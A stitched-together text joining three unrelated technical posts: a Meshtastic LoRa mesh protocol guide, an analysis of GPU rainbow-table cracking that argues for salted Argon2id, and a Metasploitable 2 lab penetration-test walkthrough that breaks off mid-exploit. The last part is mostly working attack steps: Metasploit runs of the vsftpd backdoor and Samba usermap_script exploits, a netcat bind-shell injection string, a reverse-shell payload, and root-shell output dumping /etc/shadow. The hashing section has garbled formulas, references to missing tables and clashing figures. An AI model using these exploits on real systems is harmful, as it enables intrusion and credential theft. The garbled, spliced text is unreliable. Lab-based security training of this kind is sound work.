In Europe, Meshtastic EU_868 operates in the 869.4–869.65 MHz sub-band, which permits 10% duty cycle and up to 500 mW EIRP under ETSI EN 300 220-2. A LONG_FAST packet (800 ms) consumes 8% of the 10-second window. At VERY_LONG_SLOW (9 s), a node can transmit at most once every 90 seconds while remaining compliant. The firmware enforces this limit; nodes that would exceed it queue transmissions.

This is the primary throughput ceiling for emergency communications in Europe, not routing capacity. A mesh handling heavy simultaneous traffic will spend most of its time duty-cycle limited.

Protocol stack — four layers

The Meshtastic protocol is structured as four conceptual layers, documented in the official protocol specification. The design draws heavily from the RadioHead library and earlier amateur mesh networking work.

Layer 0 — LoRa physical

Raw radio: chirp spread-spectrum transmission and reception, preamble detection, payload CRC, and FEC at the configured coding rate. Handled entirely by the SX1276 or SX1262 chipset in hardware.

CSMA/CA operates here: before transmitting, a node performs Channel Activity Detection (CAD) — a hardware function on Semtech’s SX127x/SX126x series that detects whether a LoRa preamble is present without demodulating a full packet. If the channel is busy, the node backs off by a random number of slot times drawn from a contention window (CW) whose size scales with observed channel utilisation.

An important subtlety: nodes with lower received SNR — meaning they are further from the previous transmitter — get smaller contention window sizes and therefore tend to transmit relay packets first. This SNR-weighted backoff is a simple but effective heuristic: distant nodes are geometrically more valuable as relays, so they should relay first.

Layer 1 — unreliable zero-hop

Reliable delivery between directly adjacent nodes. A WantAck flag in the MeshPacket protobuf requests an acknowledgment from the immediate recipient. For broadcast messages, Meshtastic uses implicit ACKs: the originating node considers a broadcast acknowledged if it hears any other node rebroadcasting the packet. If no rebroadcast is heard within a timeout, the node retransmits, up to a maximum of three attempts with exponential backoff.

Layer 2 — reliable multi-hop (routing)

Two distinct strategies depending on message type:

Managed flooding (broadcasts): Every node that receives a packet rebroadcasts it, decrementing hop_limit by 1 each time, until hop_limit reaches 0. Deduplication by packet_id prevents loops — a node that has already seen a given packet_id will not rebroadcast it again. ROUTER and REPEATER role nodes have higher CAD priority and will relay even when a CLIENT node in the same area would suppress its relay.

Next-hop routing (direct messages): Since firmware 2.6, direct messages use an explicit next-hop field: next_hop (1 byte, last byte of the intended relay node’s ID) and relay_node (1 byte, last byte of the most recent actual relay). This allows the network to learn routes from observed traffic without maintaining explicit routing tables — pragmatic given the 256–512 KB RAM available on microcontroller-class hardware.

The flooding approach is deliberately simple. Meshtastic’s documentation explains the reasoning directly: implementations of proper routing protocols like AODV or OLSR require more RAM, more CPU, and more airtime than the target hardware class can comfortably support. Managed flooding with hop limits has been shown to work effectively at DEF CON with over 700 simultaneous nodes.

Layer 3 — application

The encrypted application payload, serialised as Protocol Buffers. The SubPacket protobuf carries the actual message content: text, GPS position, telemetry metrics, range test data, or admin commands. Only the SubPacket is encrypted; the MeshPacket header is always transmitted in cleartext.

Packet structure

The on-air packet structure (abbreviated — full field list in the MeshPacket protobuf definition):

LoRa physical frame:
  [Preamble][Header][Payload CRC]
                |
                └── Meshtastic MeshPacket:

  from:           4 bytes — source node ID (lower 32 bits of hardware MAC)
  to:             4 bytes — destination (0xFFFFFFFF = broadcast)
  channel:        1 byte  — hash of channel name + PSK (determines AES key)
  packet_id:      4 bytes — random ID for deduplication
  hop_limit:      3 bits
  hop_start:      3 bits  — original hop_limit (allows receivers to compute hops taken)
  want_ack:       1 bit
  via_mqtt:       1 bit   — set if packet entered mesh via MQTT gateway
  next_hop:       1 byte  — for direct messages: intended relay node (last byte of ID)
  relay_node:     1 byte  — last byte of most recent relay node

  [encrypted SubPacket — AES-256-CTR or EC25519-derived key]

The channel byte is a hash of the channel name and PSK — it tells a receiving node which of its configured channels (and therefore which AES key) to use for decryption, without revealing the key itself. A node with no matching channel can still relay the packet without reading the content.

The hop_start field was added specifically to let applications infer network topology: hops_taken = hop_start − hop_limit tells a receiver how many relays the packet traversed.

Encryption model

Channel encryption — AES-256-CTR

Meshtastic provides AES-256-CTR encryption for every SubPacket transmitted over LoRa. Each channel has a distinct PSK (pre-shared key), allowing nodes to participate in multiple channels with different security groups simultaneously.

The AES-CTR nonce is constructed from the packet_id (4 bytes) and the source node ID (from, 4 bytes), ensuring every packet has a unique nonce without requiring synchronisation. AES-CTR is a stream cipher mode — it provides confidentiality but not integrity for channel messages. An attacker who flips bits in the ciphertext produces corresponding bit flips in the plaintext, without either party detecting the modification. This is acknowledged in the documentation; a MAC-authenticated channel mode (AEAD) is under consideration but not yet implemented as of the current firmware.

The default PSK is publicly known — the single byte 0x01, base64-encoded as AQ==. Every node on the default channel can read every other node’s messages. For any operational use, change the PSK to a randomly generated value before deployment and distribute it out-of-band.

Direct message encryption — EC25519 and ECDH

Since firmware 2.5.0, direct messages use public-key cryptography rather than the shared channel PSK. Each node generates an EC25519 key pair at first boot and broadcasts its public key via periodic telemetry packets. Sending a direct message to node B uses an ephemeral ECDH key exchange with B’s public key to derive the AES session key.

This provides forward secrecy that the PSK channel model lacks — a compromised channel PSK decrypts all past and future messages on that channel; a compromised EC25519 key pair requires the attacker to have recorded the specific ECDH key exchange for each individual message.

Known limitations — from the official documentation

The Meshtastic documentation is unusually candid about its security boundaries:

• No authentication. Node identity is derived from the hardware MAC address. Anyone with the channel PSK can claim any node ID. There is no message signing.
• No integrity on channel messages. AES-CTR without a MAC allows undetected bit-flip tampering.
• Unattended router nodes are a key extraction risk. Physical access to a node allows extraction of configured PSKs. Operational channel PSKs should not be on unattended nodes.
• Harvest now, decrypt later. AES-256 is considered quantum-resistant, but the EC25519-based DM key exchange is not. The documentation recommends not configuring unattended nodes with private channel keys even if the node will eventually become obsolete.
• MQTT bridge weakens isolation. Packets forwarded through MQTT traverse internet infrastructure; the ignore_mqtt flag prevents MQTT-ingested packets from re-entering the LoRa mesh.

For emergency communications deployments, the practical security posture:

1. Deploy private channels with randomly generated PSKs distributed out-of-band before the event
2. Do not configure private PSKs on unattended ROUTER/REPEATER nodes
3. Use direct messages for sensitive one-to-one coordination (EC25519-encrypted)
4. Accept that managed flooding reveals traffic patterns (who is transmitting, when) to any receiver within range

Node roles

Six roles affect routing priority, power behaviour, and what the node does with received packets:

For a structured emergency communications deployment, separating roles explicitly is important:

Infrastructure tier (solar or grid-powered, elevated positions):
  Role: REPEATER or ROUTER
  Config: private channel PSK NOT configured
          (relay all traffic; cannot read content)
  Antenna: directional or high-gain collinear

Personal devices (battery-powered):
  Role: CLIENT
  Config: private operational channel PSK configured
          GPS enabled, 5-minute broadcast interval

Coordination hub (vehicle-mounted or building):
  Role: ROUTER_CLIENT
  Config: private channel, MQTT gateway if internet available
          long-range antenna

ROUTER and REPEATER nodes transmit at the start of the contention window — they do not apply the random backoff that CLIENT nodes use. A CLIENT that hears a ROUTER rebroadcast its packet will suppress its own relay. This reduces total channel traffic while maintaining coverage, provided the infrastructure nodes are well-positioned.

Hop limit behaviour and network capacity

The default hop_limit of 3 means a broadcast packet traverses at most 3 relay hops beyond the originating node. Increasing it linearly increases the number of nodes that will attempt to relay each packet — in a dense mesh, this causes exponential traffic growth before deduplication takes effect.

Setting hop_limit=7 (the maximum) in a medium-density network risks saturating the channel. The 2024 Hamvention incident — where a single node’s MQTT bridge injecting high-frequency traffic caused a network-wide packet flood — illustrates the fragility of flooding-based protocols under abnormal traffic conditions. The event firmware used for DEF CON and Hamvention addresses this by reducing hop_limit to 2–3, enabling ignore_mqtt, and applying SHORT_TURBO mode (SF7, 500 kHz) for higher channel capacity.

Practical capacity estimates for EU_868, LONG_FAST (800 ms airtime), 10% duty cycle:

• Single node maximum: ~7 packets/minute before duty cycle limit
• Practical mesh (10 nodes, moderate traffic): 2–3 messages/user/minute before congestion
• Dense mesh (50+ nodes): 1 message/user/minute or less; coordination requires discipline

These numbers make Meshtastic unsuitable for voice or real-time data but entirely adequate for status updates, GPS position sharing, and text coordination — which is the correct use case.

Hardware for field deployment

T-Beam (TTGO/LilyGo): ESP32, SX1262, onboard GPS (GNSS), 18650 battery holder, SMA connector. The reference platform for GPS-enabled field nodes. Active draw ~80–120 mA; ~12–24h on a 3500 mAh cell at normal duty cycle. The SMA connector allows a proper external antenna.

RAK WisBlock 4631: nRF52840 + SX1262. Lower power draw than ESP32-based boards — ~15–25 mA active, significantly better deep-sleep battery life. Appropriate for unattended sensor or relay nodes that need to run for days or weeks.

T-Echo (LilyGo): nRF52840, SX1262, GPS, e-ink display, compact form factor. The lowest-power handheld option. Suitable for extended personal carry where battery capacity is limited.

Antenna selection matters more than hardware choice beyond 2 km:

• Stock antenna (rubber duck, ~3 dBi): adequate for testing and short-range urban use
• Quarter-wave ground plane (DIY, 3.7 dBi): free to build; ~82 mm element at 868 MHz; excellent omnidirectional pattern
• 5/8-wave vertical collinear (Diamond X50N or similar, 5.5 dBi): appropriate for fixed infrastructure relay nodes
• Yagi (home-built, 868 MHz, 10–15 dBi): directional; for point-to-point relay links over 20+ km

MQTT gateway — capabilities and cautions

Meshtastic supports forwarding mesh traffic to an MQTT broker, bridging local LoRa clusters across the internet. Packets from the LoRa mesh are published to a structured MQTT topic; nodes on remote meshes subscribed to the same topic inject them back into their local mesh.

When useful: linking geographically separated mesh clusters during a large-area event, where a satellite or cellular backhaul is available at specific nodes.

When harmful: if the internet connection is unreliable or if an MQTT bridge injects high-frequency traffic back into the LoRa mesh. The ignore_mqtt flag (set on individual nodes) instructs them to ignore received LoRa packets that carry the via_mqtt flag — preventing MQTT-originated traffic from flooding the LoRa side.

The public Meshtastic MQTT broker (mqtt.meshtastic.org) is publicly accessible. Traffic on any channel using the default PSK is readable by any connected client. Do not use public MQTT infrastructure for operational communications with any expectation of privacy.

Practical deployment checklist

Minimal two-tier emergency mesh: fixed relays on high ground, mobile CLIENT nodes for personnel.

Infrastructure REPEATER nodes:

# Via meshtastic Python CLI
meshtastic --set device.role REPEATER
meshtastic --set lora.region EU_868
meshtastic --set lora.modem_preset LONG_FAST
meshtastic --set position.position_broadcast_secs 0  # no GPS broadcasts
meshtastic --set device.ignore_incoming "[]"         # relay everything
# Do NOT configure private channel PSK on unattended hardware

Client nodes:

# Set region and preset (must match infrastructure nodes)
meshtastic --set lora.region EU_868
meshtastic --set lora.modem_preset LONG_FAST

# Create a private operational channel with a random PSK
meshtastic --ch-add "OPS" --ch-set psk random

# Export channel config — share this QR code out-of-band with your team
meshtastic --export-config > ops_channel.yml

# Enable GPS with 5-minute broadcast interval
meshtastic --set position.gps_enabled true
meshtastic --set position.position_broadcast_secs 300

Verify node visibility:

import meshtastic
import meshtastic.serial_interface

iface = meshtastic.serial_interface.SerialInterface()

for node_id, node in iface.nodes.items():
    name = node.get('user', {}).get('longName', node_id[:8])
    snr  = node.get('snr', '—')
    hops = node.get('hopsAway', '—')
    role = node.get('deviceMetrics', {}).get('role', 'UNKNOWN')
    print(f"{name:28s}  SNR:{str(snr):6s}  hops:{hops}  role:{role}")

iface.close()

Send and confirm a comms check:

iface.sendText("COMMS CHECK // reply if received", channelIndex=1)
# channelIndex=0 is the primary (default) channel
# channelIndex=1 is your private OPS channel

Comparison with alternatives

APRS: The established amateur standard for position reporting and messaging. Requires a radio amateur licence (at least Technician class in the US). Infrastructure-dependent (requires digipeaters/IGates for mesh behaviour). No encryption permitted under amateur radio rules. Meshtastic: no licence required at legal ISM power levels; AES-256 encryption available; hardware costs an order of magnitude less.

DMR / P25 digital voice radio: Far higher quality for voice communications; designed for real-time voice coordination. Hardware cost is €200–2,000+ per radio. Not a mesh — no automatic relay without repeater infrastructure.

GoTenna Mesh: Similar managed flooding approach on 900 MHz. Proprietary hardware and firmware; closed protocol. Meshtastic is fully open — firmware, protocol specification, and hardware schematics are all public.

LoRaWAN: Star topology requiring gateways. Excellent for infrastructure-dependent IoT. Not useful when infrastructure fails.

For the specific scenario that matters here — emergency communication in the absence of cellular and internet infrastructure, from hardware deployable without advance planning, with encryption, open-source auditability, and global community support — Meshtastic is the most capable option available at its price point. The limitations are real (low throughput, flooding-based routing, no message integrity on channels) and should be understood before depending on it. But the operational envelope it covers — text messaging, GPS tracking, and coordination over distances of several kilometres with no infrastructure — is exactly what no other affordable open system covers as well.

Rainbow tables trade storage for speed when cracking unsalted password hashes. Modern GPUs make the compute side very fast. This post looks at what an RTX 4080 can actually do against various hash functions, and what that means for which password storage schemes are still reasonable.

Scope and intent. This post analyses the time-memory tradeoff as a cryptanalytic technique — specifically how its computational structure maps onto modern GPU architectures. The analysis is conducted in the tradition of published security research: understanding attack capabilities precisely is the prerequisite for designing defences that actually hold. Every production authentication system described here either already defeats the techniques discussed (salted hashing, bcrypt, Argon2) or should. The goal is to make the case for why — with numbers — not to provide operational attack tooling.

The problem: inverting a one-way function

A cryptographic hash function H: {0,1}* → {0,1}^n maps an arbitrary-length input to a fixed-length digest. One-way functions are computationally irreversible: given h = H(p), recovering p requires either exhaustive search over all possible p values, or a precomputed structure that trades storage for search time.

For password hashing specifically, the preimage space P (the set of likely passwords) is bounded. An eight-character password drawn from lowercase letters and digits has 36^8 ≈ 2.8 × 10^12 possible values — large for brute force, but finite. The question is how efficiently you can search it.

Three approaches, in order of increasing sophistication:

1. Exhaustive brute force: compute H(p) for every p ∈ P at query time. Time O(

   P

   ), storage O(1).

2. Complete lookup table: store every (p, H(p)) pair. Time O(1), storage O(

   P

   ).

3. Time-memory tradeoff (TMTO): precompute a compressed structure. Time and storage both sub-linear in O(

   P

   ).

The TMTO is the interesting case.

Hellman’s tradeoff (1980)

Martin Hellman’s insight was that precomputation of chains — alternating hash and reduction operations — produces a structure much smaller than a complete lookup table but still invertible in reasonable time.

A reduction function R_i: {0,1}^n → P maps a hash digest back to a plaintext — not a true inverse (which doesn’t exist for one-way functions), but an arbitrary injective mapping. Different reduction functions R_0, R_1, ... are used at different chain positions to prevent cycles and merges.

A chain of length t starting from p_0:

p_0 → H → h_0 → R_0 → p_1 → H → h_1 → R_1 → p_2 → ... → p_t

You store only the pair (p_0, p_t). To reverse a hash h:

1. Apply R_{t-1}(h) → candidate plaintext; check if it equals any stored endpoint p_t
2. If no match, apply H, then R_{t-2}, check again
3. Continue backward through reduction functions until a match is found
4. Regenerate the matching chain from its start point p_0 to locate the pre-image of h

Hellman’s problem: chain merges. If two chains ever reach the same intermediate value, all subsequent steps are identical — the chains have merged and the duplicate stores no additional plaintexts. This reduces table effectiveness without reducing storage cost.

The probability of a merge between any two chains of length t over space N is approximately t/N per comparison. For practical table sizes, merges are common enough to significantly reduce coverage below theoretical expectations.

Oechslin’s rainbow table refinement (2003)

Philippe Oechslin’s key insight: use a distinct reduction function at every chain position — R_0, R_1, ..., R_{t-1} — rather than the same function throughout. Two chains can now only merge at the same position in the chain. And if they do merge at position k, every subsequent step is identical, producing the same endpoint. Duplicate endpoints are detected and discarded during table generation.

The result: within-table merges are almost entirely eliminated. The probability that two chains merge at a given position is 1/N — negligible for any practical plaintext space. Coverage approaches the theoretical optimum.

Table lookup becomes a sweep across reduction function positions: for each position k from t-1 down to 0, apply the suffix of the chain starting from position k to the target hash and check whether the computed endpoint exists in the table.

Theoretical performance model

For a rainbow table with m chains of length t over a plaintext space of size N:

Coverage probability (fraction of N covered by one table):

Coverage ≈ 1 - exp(-(m·t) / N)

For 99% coverage: m·t ≈ 4.6·N — the table must contain enough chain steps to cover 4.6 times the plaintext space in aggregate.

Storage: m start-end pairs. For 8-character NTLM hashes with 32-byte entries: a table covering 50% of the lowercase+digits 8-char space needs approximately m = N/(2t) chains. At t = 10,000 and N = 36^8 ≈ 2.8×10^12: m ≈ 140 million chains × 32 bytes ≈ 4.5 GB per table. Multiple tables are used in practice to achieve higher coverage.

Query time: each lookup requires at most t hash-reduction pairs per table, across the number of tables used. For t = 10,000 and 4 tables: up to 40,000 hash evaluations per query — vastly less than exhaustive search at N/2 ≈ 1.4×10^12.

GPU architecture fit — why the RTX 4080 is interesting for this workload

The RTX 4080 (NVIDIA AD103, Ada Lovelace) carries 9,728 CUDA cores across 76 streaming multiprocessors, a 2,505 MHz boost clock, 16 GB GDDR6X at 716 GB/s bandwidth, and a 64 MB L2 cache. Its FP32 throughput is 48.7 TFLOPS; for integer workloads (the relevant metric for hash functions), INT32 throughput is equivalently 48.7 TOPS.

Hash functions — MD5, SHA-1, NTLM (MD4), SHA-256 — are integer arithmetic: XOR, ADD, bitwise rotations, and modular addition. No floating point involved. The GPU’s integer execution units are the relevant resource.

Why chain generation maps well onto GPU SIMD:

Rainbow table chains are embarrassingly parallel — each chain is entirely independent of every other. A table of 140 million chains can be assigned to 140 million CUDA threads, each computing its chain of length t without any inter-thread communication. This is the ideal CUDA workload: maximum parallelism, no synchronisation overhead, and a working set per thread small enough to fit in registers.

GPU vs CPU hash throughput (Hashcat benchmarks, RTX 4080, driver 546.x):

Note: hash rates vary significantly with Hashcat version, driver, and kernel selection. Figures are representative; measure on your own hardware for production decisions.

The last two rows are the critical ones for defensive design and deserve careful attention.

NTLM at 115 billion hashes/second on a single consumer GPU means an exhaustive search of the entire 8-character [a-zA-Z0-9] space (218 billion combinations) takes approximately two seconds. Without precomputation. Without rainbow tables. The precomputed table approach gives additional speedup on repeat queries but is no longer the bottleneck for short passwords.

bcrypt at 105,000 hashes/second on the same GPU — 5.8× faster than a single CPU core but only marginally faster than a cluster of CPU cores — takes approximately 24 days to exhaustively search the same 8-character space. This is why bcrypt with a cost factor of ≥10 is a meaningful defence.

Argon2id at 0.15× the CPU rate — the GPU is slower than a single CPU core. This is not an implementation accident; it is the design.

Memory hardness — why Argon2 defeats GPU parallelism

NTLM’s GPU acceleration stems from its simple integer arithmetic fitting entirely within CUDA registers. The limiting factor is compute throughput, which GPUs have in abundance.

Memory-hard functions are designed so that the computation requires a large working memory that must be repeatedly accessed in a pattern that defeats caching. Argon2, designed by Biryukov, Dinu, and Khovratovich and the winner of the 2015 Password Hashing Competition, fills a configurable memory array of size m (typically 64 MB to several GB) and references locations in a data-dependent pattern — meaning no element can be computed until prior elements are known, and the entire array must be resident in memory.

The GDDR6X memory in an RTX 4080 provides 716 GB/s bandwidth — impressive, but shared across all 9,728 CUDA cores. If each Argon2 computation requires 64 MB of memory access, the GPU cannot run many independent instances simultaneously without thrashing the 16 GB VRAM. While a CPU evaluating Argon2 benefits from the L1/L2 cache hierarchy, a GPU trying to run 1,000 parallel Argon2 instances is competing for 64 TB/s of memory bandwidth it doesn’t have.

The Argon2 authors formalised this as memory bandwidth cost: the time to compute one Argon2 evaluation is dominated by memory bandwidth, not compute throughput. Since GPU memory bandwidth per thread is roughly similar to CPU memory bandwidth per core (and worse for parallel instances competing for shared bandwidth), GPU acceleration provides no meaningful advantage.

Concretely: the RTX 4080 achieving 180 Argon2id/s while a single i7 core achieves ~1,200/s reflects this directly. Scale to 12 CPU cores: ~14,400/s CPU vs ~180/s GPU. The GPU is 80× slower than the CPU for this workload.

The table coverage problem — why salting breaks precomputation

Rainbow tables are precomputed over the hash function H(p) applied directly to the plaintext p. This only works when the stored digest is H(password).

Every modern password hashing system adds a salt: a random value stored alongside the digest, included in the computation: H(salt || password) or equivalently via a KDF. Since the salt is unique per account (typically 16–32 random bytes), the effective plaintext space for a given stored digest is not P but {salt} × P — a space 2^128 times larger for a 16-byte salt.

A rainbow table that covers the original P covers none of {salt_x} × P for any specific salt x. An attacker would need to precompute a separate rainbow table for every salt — which defeats the entire purpose of precomputation and reduces the problem to per-account brute force.

This is why rainbow tables are irrelevant against any correctly implemented password storage system:

The historical significance of rainbow tables is precisely that Windows XP and earlier stored LAN Manager hashes (LM) with no salting and a catastrophically weak construction (passwords truncated to 14 chars, split into two 7-char halves, each DES-encrypted independently). Ophcrack’s published rainbow tables covering the entire LM hash space made cracking pre-Vista Windows passwords trivial. Modern Windows uses NTLM (MD4) with no built-in salt, which is why NTLM hashes in a dump from a domain with no additional protections remain vulnerable to the ~1-second GPU exhaustive search noted above — for short passwords.

What the RTX 4080’s performance means for KDF parameter selection

The practical question for a system designer: given that a motivated adversary has access to consumer GPU hardware, what KDF parameters provide adequate resistance to offline attack?

Attack scenario: an adversary recovers the password database (a realistic threat model — SQL injection, insider access, backup theft). For each account they want to crack, they run the KDF against candidate passwords at maximum GPU speed.

Threat model parameters:

• Hardware: RTX 4080 (consumer-grade, ~€1,100)
• Budget: 1 GPU, 1 week of computation
• Target: online service with 1M user accounts

bcrypt at cost factor 12 runs at approximately 3,000 H/s on the RTX 4080. In one week: 3,000 × 604,800 ≈ 1.8 billion evaluations. Against 1M accounts, that’s ~1,800 password attempts per account — enough to crack passwords in the top few thousand of any password frequency list, but not enough for a meaningful dictionary attack against randomly chosen passwords.

At cost factor 14 (~750 H/s): ~450 attempts per account in one week — limited to the most common 400 passwords.

Argon2id at t=3, m=65536 KB (64 MB), p=4 runs at approximately 180 H/s on the RTX 4080 — and ~14,400 H/s on a modern CPU. In one week: 180 × 604,800 ≈ 109 million GPU evaluations vs. 14,400 × 604,800 ≈ 8.7 billion CPU evaluations. Against 1M accounts: ~109 attempts per account from GPU, ~8,700 from CPU. Argon2id turns the attacker’s GPU against them — they’re better off using a CPU.

Recommended minimum parameters (2025):

These numbers assume a single RTX 4080. A well-funded attacker running 10 GPUs in parallel multiplies throughput by 10 — scale the parameters accordingly.

System design implications

1. Use a memory-hard KDF. Argon2id is the current recommendation from the OWASP Password Storage Cheat Sheet, the NIST Digital Identity Guidelines (SP 800-63B), and the authors of the Password Hashing Competition. bcrypt is an acceptable fallback where Argon2id is not available. MD5, SHA-1, SHA-256, and NTLM without a memory-hard wrapper are all inadequate for password storage regardless of salting.

2. Tune parameters to your hardware budget. Argon2id parameters should be calibrated so that a single authentication takes ≥500ms on your server hardware. If your server is faster than the attacker’s laptop, you win the arms race with every parameter doubling.

3. Unique per-account salts are non-negotiable. A salt of at least 128 bits (16 bytes), randomly generated at account creation and stored alongside the digest, eliminates all precomputed table attacks regardless of the underlying hash function’s vulnerability to GPU acceleration.

4. GPU rate for the attacker ≠ GPU rate for you. Argon2id’s memory-hardness means a GPU cluster that costs 100× your server costs provides less than 1× the cracking throughput of your server’s CPU. This is the correct adversarial design target: make GPU parallelism useless, not just slow.

5. Length beats complexity. A 12-character password drawn uniformly from a 70-character set has 70^12 ≈ 1.4×10^22 combinations. At 115 GH/s (NTLM GPU rate), exhaustive search would take 1.4×10^22 / 1.15×10^11 ≈ 1.2×10^11 seconds — approximately 3,800 years — even without any KDF. Adding Argon2id at 180 H/s: 1.4×10^22 / 180 ≈ 2.5×10^18 years. The attacker’s GPU becomes irrelevant. Encourage users toward longer passwords.

Historical significance — why this mattered, and why it no longer should

The pre-Vista Windows LM hash is the canonical real-world example of the problem rainbow tables solve. LM hashing had no salt, truncated passwords to 14 characters, uppercased them, split them into two 7-character halves, and DES-encrypted each half independently with a fixed key. The Ophcrack project precomputed complete rainbow tables covering the entire LM hash space — every possible 7-character password — and released them publicly. Cracking pre-Vista Windows domain hashes became a matter of minutes.

The NTLM replacement (MD4, no built-in salt) was better but still unsalted. Windows later added per-connection challenge-response nonces (NTLMv2) to prevent replay and precomputed table attacks in authentication scenarios — but NTLM hashes extracted from SAM databases or memory via credential access tools remain vulnerable to offline GPU attack for short/common passwords, exactly as described above.

The lesson is straightforward and has been available in the literature since at least 2003: salted, memory-hard, cost-parameterisable password hashing is the correct approach. The GPU performance numbers exist to make this concrete. At 115 GH/s against unsalted NTLM, the 8-character password space is gone in two seconds. At 180 H/s against Argon2id with 64 MB memory, the same two seconds buys 360 evaluation attempts — a search depth of 360, not 2.8 trillion.

That is the number to communicate to anyone who still stores passwords with MD5.

This is a walkthrough of a home lab penetration test against Metasploitable 2 — a virtual machine built by Rapid7 specifically to be vulnerable. Starting from an isolated network with no prior knowledge, the test works through host discovery, service enumeration, and the exploitation of eight separate vulnerabilities, five of which hand over root access without requiring any credentials. The post ends with a findings report in the format used on real engagements.

This is the practical companion to the Kali Linux overview. Setup and tool descriptions are there; this post is entirely about methodology and execution.

The lab uses Metasploitable 2, a deliberately vulnerable Ubuntu 8.04 VM developed by Rapid7 for penetration testing training. It contains dozens of known vulnerabilities across multiple services. Nothing in this post is novel or undisclosed — every finding is a public CVE with documented Metasploit modules, used in security training for over a decade.

Important: everything here was done against a system built to be attacked, on a network isolated from anything else. Running these tools against systems you don’t own and haven’t received explicit written authorisation to test is illegal in most jurisdictions, including the Netherlands (Artikel 138ab Wetboek van Strafrecht).

Lab setup

Network topology:

[Kali Linux VM]          [Metasploitable 2 VM]
192.168.56.100           192.168.56.101
        \                       /
    VirtualBox Host-Only Network (192.168.56.0/24)
         [isolated — no internet access]

Both VMs are attached to a VirtualBox Host-Only network. This is critical: not NAT, not Bridged. Host-Only creates a network that exists only between the host machine and the VMs on it. The Metasploitable target cannot reach the internet; if you misconfigure this and put Metasploitable on a Bridged adapter, you have exposed a machine full of unpatched critical vulnerabilities to your LAN.

Downloading the targets:

• Kali Linux VM: kali.org/get-kali — official pre-built VirtualBox image
• Metasploitable 2: sourceforge.net/projects/metasploitable — official Rapid7 release

VirtualBox Host-Only configuration: In VirtualBox → Tools → Network → Host-Only Networks, create an adapter with DHCP disabled. Assign static IPs inside the VMs directly:

# On Kali (run as root or with sudo)
ip addr add 192.168.56.100/24 dev eth0
ip link set eth0 up

# Metasploitable 2 uses msfadmin:msfadmin credentials
# Login and set:
ifconfig eth0 192.168.56.101 netmask 255.255.255.0

Confirm connectivity before starting:

# From Kali
ping -c 4 192.168.56.101

Phase 1 — Reconnaissance and host discovery

Verify the target is up and find its address if using DHCP:

netdiscover -r 192.168.56.0/24 -i eth0

 IP            At MAC Address     Count     Len  MAC Vendor / Hostname
 192.168.56.1  0a:00:27:00:00:00      1      60  Unknown vendor
 192.168.56.101 08:00:27:xx:xx:xx     1      60  PCS Systemtechnik (VirtualBox)

Phase 2 — Port scanning and service enumeration

A full nmap scan covers ports, services, versions, and runs default NSE scripts:

nmap -sV -sC -A -T4 -p- -oN metasploitable_full.txt 192.168.56.101

Selected output (Metasploitable 2 exposes an unusually large attack surface by design):

PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed
22/tcp    open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet      Linux telnetd
25/tcp    open  smtp        Postfix smtpd
53/tcp    open  domain      ISC BIND 9.4.2
80/tcp    open  http        Apache httpd 2.2.8
| http-title: Metasploitable2 - Linux
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp   open  microsoft-ds Samba smbd 3.0.20-Debian
512/tcp   open  exec        netkit-rsh rexecd
513/tcp   open  login       OpenBSD or Solaris rlogind
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi    GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs         2-4 (RPC #100003)
2121/tcp  open  ftp         ProFTPD 1.3.1
3306/tcp  open  mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open  distccd     distccd v1 ((GNU) 4.2.4)
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc         VNC (protocol 3.3)
6000/tcp  open  X11         (access denied)
6667/tcp  open  irc         UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http        Apache Tomcat/Coyote JSP engine 1.1

Even without running an exploit, this scan output gives a clear picture: multiple services running outdated, vulnerable software. Port 1524 is a dead giveaway — bindshell Metasploitable root shell in the service description.

Phase 3 — Vulnerability identification

Cross-referencing service versions against known CVEs:

The searchsploit tool confirms available Metasploit modules for each:

searchsploit vsftpd 2.3.4
searchsploit samba usermap
searchsploit distcc
searchsploit unrealircd

Phase 4 — Exploitation

Starting Metasploit:

msfconsole -q

Finding 1 — vsftpd 2.3.4 backdoor (CVE-2011-2523)

The vsftpd 2.3.4 source tarball hosted on the project’s website was quietly replaced with a backdoored version between June 30 and July 1, 2011. The backdoor: if a username containing :) is sent during the FTP handshake, the daemon opens a bind shell on TCP port 6200. The original maintainer discovered and removed it within days, but the backdoored version was already in distribution.

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.101
RHOSTS => 192.168.56.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.56.101:21 - USER: 331 Please specify the password.
[+] 192.168.56.101:21 - Backdoor service has been spawned, handling...
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.56.100:56231 → 192.168.56.101:6200)

id
uid=0(root) gid=0(root)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
cat /etc/shadow | head -5
root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::

Root shell obtained. The shadow file hash demonstrates full credential access.

Finding 2 — Samba usermap_script (CVE-2007-2447)

Samba versions 3.0.20 through 3.0.25rc3 pass username input to /bin/sh via the username map script configuration option without sanitising shell metacharacters. Sending a username like "/=nohup nc -l -p 4444 -e /bin/sh" causes the shell metacharacters to be executed by the Samba daemon.

msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.56.101
msf6 exploit(multi/samba/usermap_script) > set PAYLOAD cmd/unix/reverse
msf6 exploit(multi/samba/usermap_script) > set LHOST 192.168.56.100
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP double handler on 192.168.56.100:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo d1Qa8VZsKrCupf3j;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
